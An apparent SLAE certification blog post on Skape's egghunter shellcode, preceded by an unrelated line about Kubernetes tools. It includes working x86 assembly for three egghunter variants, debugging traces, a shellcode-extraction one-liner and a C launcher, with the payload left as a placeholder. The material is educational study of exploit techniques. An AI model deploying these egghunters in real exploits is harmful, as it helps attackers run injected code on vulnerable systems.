Kubernetes Security Tools
This post lists out popular K8s security tools. The list will be updated regularly.
Study about the Egg Hunter shellcode Create a working demo of the Egghunter Should be configurable for different payloads
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1017
;
; Skape's egghunter: access(2)
;
global _start:
section .text
_start:
mov ebx, 0x50905090 ; Store EGG in ebx
xor ecx, ecx ; Zero out ECX
mul ecx ; Zero out EAX and EDX
IncPage: ; JMP to increment page number
or dx, 0xfff ; Align page address
IncAddr: ; JMP to increment address
inc edx ; Go to next address
pushad ; Push general registers onto stack
lea ebx, [edx+4] ; [edx+4] so we can compare [edx] and [edx+4] at the same time
mov al, 0x21 ; syscall for access()
int 0x80 ; call access() to check memory location [EBX]
cmp al, 0xf2 ; Did it return EFAULT?
popad ; Restore registers
jz IncPage ; access() returned EFAULT, skip page
cmp [edx], ebx ; initialized memory, check if EGG is in [edx]
jnz IncAddr ; EGG isn't in [edx], visit next address
cmp [edx+4], ebx ; EGG is found in [edx], is it in [edx+4] too?
jne IncAddr ; Boohoo! It wasn't. Visit next address
jmp edx ; [edx][edx+4] contain EGGEGG, we found our shellcode! Execute meaningless EGGEGG instructions then our payload
Program throw SegFault
error during execution.
Discovered syscall access
throw an EINVAL
error which is different from the previous access egghunter.
> strace egghunter_access2_notworking
strace: Can't stat 'egghunter_access2_notworking': No such file or directory
[email protected]:~/SLAE/ass3/binary# strace ./egghunter_access2_notworking
execve("./egghunter_access2_notworking", ["./egghunter_access2_notworking"], [/* 18 vars */]) = 0
brk(NULL) = 0x8d53000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb770a000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=99825, ...}) = 0
mmap2(NULL, 99825, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb76f1000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\320\207\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1786484, ...}) = 0
mmap2(NULL, 1792540, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb753b000
mmap2(0xb76eb000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1af000) = 0xb76eb000
mmap2(0xb76ee000, 10780, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb76ee000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7732000
set_thread_area({entry_number:-1, base_addr:0xb7732940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb76eb000, 8192, PROT_READ) = 0
mprotect(0x8049000, 4096, PROT_READ) = 0
mprotect(0xb7733000, 4096, PROT_READ) = 0
munmap(0xb76f1000, 99825) = 0
fstat64(1, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 18), ...}) = 0
brk(NULL) = 0x8d53000
brk(0x8d74000) = 0x8d74000
write(1, "Hunter size: 35\n", 16Hunter size: 35
) = 16
write(1, "Shellcode size: 35\n", 19Shellcode size: 35
) = 19
write(1, "Egg is at 0x804a040\n", 20Egg is at 0x804a040
) = 20
access(0x1004, R_OK|0x7fffffe8) = -1 EINVAL (Invalid argument)
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x1000} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault (core dumped)
access(0x1004, R_OK|0x7fffffe8) = -1 EINVAL (Invalid argument)
# cat /usr/include/unistd.h | grep -i _OK
#define R_OK 4 /* Test for read permission. */
#define W_OK 2 /* Test for write permission. */
#define X_OK 1 /* Test for execute permission. */
#define F_OK 0 /* Test for existence. */
Reviewed man page for access, we have identified it is related to incorrect mode setting.
EINVAL mode was incorrectly specified.
Reviewed the register values just before/after syscall access. We found the only difference is ECX
. We guess ECX
is for mode setting.
Hunter 1: access | Hunter 2: access revisit | |
---|---|---|
Before syscall access | eax 0x21 33 ecx 0x0 0 edx 0x1000 4096 ebx 0x1004 4100 esp 0xbffff69c 0xbffff69c ebp 0xbffff6d8 0xbffff6d8 esi 0xb7fb8000 -1208254464 edi 0xb7fb8000 -1208254464 eip 0x804a095 0x804a095 <hunter+21> eflags 0x216 [ PF AF IF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 |
eax 0x21 33 ecx 0x7fffffec 2147483628 edx 0x1000 4096 ebx 0x1004 4100 esp 0xbffff6cc 0xbffff6cc ebp 0xbffff6e8 0xbffff6e8 esi 0xb7fb8000 -1208254464 edi 0xb7fb8000 -1208254464 eip 0x804a08e 0x804a08e <hunter+14> eflags 0x216 [ PF AF IF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 |
After syscall access | eax 0xfffffff2 -14 ecx 0x0 0 edx 0x1000 4096 ebx 0x1004 4100 esp 0xbffff69c 0xbffff69c ebp 0xbffff6d8 0xbffff6d8 esi 0xb7fb8000 -1208254464 edi 0xb7fb8000 -1208254464 eip 0x804a097 0x804a097 <hunter+23> eflags 0x216 [ PF AF IF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 |
eax 0xffffffea -22 |
We added instructuion to clear ecx
at beginning of code. It fixed the problem.
;
; Skape's egghunter: access(2) revised
;
global _start
section .text
_start:
xor edx, edx ; EDX = 0
xor ecx, ecx
IncPage:
or dx, 0xfff ; Align page address
IncAddr:
inc edx ; Go to next address
lea ebx, [edx+0x4] ; [edx+4] so we can compare [edx] and [edx+4] at the same time
push byte 0x21 ; syscall for access()
pop eax
int 0x80 ; call access() to check memory location [EBX]
cmp al, 0xf2 ; Did it return EFAULT?
jz IncPage ; It did, skip page
mov eax, 0x50905090 ; Store EGG in EAX
mov edi, edx ; Move EDX to EDI for scasd operation
scasd ; Check if [EDI] == EAX then increment EDI
jnz IncAddr ; It isn't, increment address
scasd ; Check if [EDI] == EAX then increment EDI
jnz IncAddr ; It isn't, increment address
jmp edi ; We found our Egg! JMP to EDI, which points directly to our shellcode
Program triggers Segfault when $ecx
/$edi
equals to 0x0
.
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/SLAE/ass3/binary/egghunter-sigcheck-notworking
Hunter size: 30
Shellcode size: 30
Egg is at 0x804a040
i
Program received signal SIGSEGV, Segmentation fault.
Dump of assembler code from 0x804a07e to 0x804a088:
=> 0x0804a07e <hunter+22>: scas eax,DWORD PTR es:[edi]
0x0804a07f <hunter+23>: jne 0x804a06d <hunter+5>
0x0804a081 <hunter+25>: scas eax,DWORD PTR es:[edi]
0x0804a082 <hunter+26>: jne 0x804a06d <hunter+5>
0x0804a084 <hunter+28>: jmp edi
0x0804a086 <hunter+30>: add BYTE PTR [eax],al
End of assembler dump.
eax 0x50905090 1351635088
ecx 0x0 0
edx 0xb7fb9870 -1208248208
ebx 0x0 0
esp 0xbffff68c 0xbffff68c
ebp 0xbffff6a8 0xbffff6a8
esi 0xb7fb8000 -1208254464
edi 0x0 0
eip 0x804a07e 0x804a07e <hunter+22>
eflags 0x10283 [ CF SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
In that case, we fixed the problem by adding the bypass code (for $ecx=0
) as shown below.
;
; egghunter by sigaction
; By skape
;
global _start:
section .text
_start:
align_page:
or cx,0xfff ; page alignment
next_address:
inc ecx
jnz not_null
inc ecx
not_null:
push byte +0x43 ; sigaction(2)
pop eax ; store syscall identifier in eax
int 0x80 ; call sigaction(2)
cmp al,0xf2 ; did we get an EFAULT?
jz align_page ; invalid pointer - try with the next page
mov eax, 0x50905090 ; place the egg in eax
mov edi, ecx ; address to be validated
scasd ; compare eax / edi and increment edi by 4 bytes
jnz next_address ; no match - try with the next address
scasd ; first 4 bytes matched, what about the other half?
jnz next_address ; no match - try with the next address
jmp edi ; egg found! jump to our payload
nasm -f elf32 -o sigaction.o sigaction.nasm -g
ld -o sigaction sigaction.o
objdump -d ./sigaction |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
/*
egghunter.c
Tim Ip
*/
#include <stdio.h>
#include <string.h>
unsigned char shellcode[] = "\x90\x50\x90\x50\x90\x50\x90\x50" //egg
"PUT YOUR SHELLCODE HERE";
// Hunter 1: access
// unsigned char hunter[] = "\xbb\x90\x50\x90\x50\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2";
// Hunter 2: access-revisit (not working - Incorrect mode / non-zero ECX)
// unsigned char hunter[] = "\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x90\x50\x90\x50\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7";
// Hunter 2: access-revisit (working - zeroed ECX)
// unsigned char hunter[] = "\x31\xd2\x31\xc9\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x90\x50\x90\x50\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7";
// Hunter 3: sigaction (not working - SegFault at ECX=0x0)
// unsigned char hunter[] = "\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\x90\x50\x90\x50\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7";
// Hunter 3: sigaction (working - bypass ECX=0x0)
unsigned char hunter[] = "\x66\x81\xc9\xff\x0f\x41\x75\x01\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x90\x50\x90\x50\x89\xcf\xaf\x75\xe9\xaf\x75\xe6\xff\xe7";
int main() {
printf("Hunter size: %d\n", strlen(hunter));
printf("Shellcode size: %d\n", strlen(hunter));
printf("Egg is at %p\n", shellcode);
int (*ret)() = (int(*)())hunter;
ret();
}